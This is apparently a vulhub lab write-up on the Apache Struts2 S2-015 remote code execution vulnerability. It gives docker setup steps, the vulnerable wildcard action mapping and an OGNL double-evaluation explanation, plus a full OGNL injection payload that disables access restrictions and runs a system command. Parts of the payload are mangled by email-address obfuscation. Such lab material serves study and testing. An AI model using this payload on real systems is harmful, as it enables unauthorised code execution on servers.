S2-015 Remote Code Execution Vulnerablity

中文版本(Chinese version)

Affected Version: 2.0.0 -

Details: http://struts.apache.org/docs/s2-015.html


docker-compose build
docker-compose up -d


Struts 2 allows define action mapping base on wildcards, like in example below:

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">

If a request doesn't match any other defined action, it will be matched by * and requested action name will be used to load JSP file base on the name of action. And as value of {1} is threaten as an OGNL expression, thus allow to execute arbitrary Java code on server side. This vulnerability is combination of two problems:

  1. requested action name isn't escaped or checked agains whitelist
  2. double evaluation of an OGNL expression in TextParseUtil.translateVariables when combination of $ and % open chars is used.


Payload as follows:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@[email protected]().exec('id').getInputStream()),#q}


In addition to the above situation, S2-015 has another case of code execution:

<action name="param" class="com.demo.action.ParamAction">
    <result name="success" type="httpheader">
        <param name="error">305</param>
        <param name="headers.fxxk">${message}</param>


Copied From: vulhub/struts2/s2-015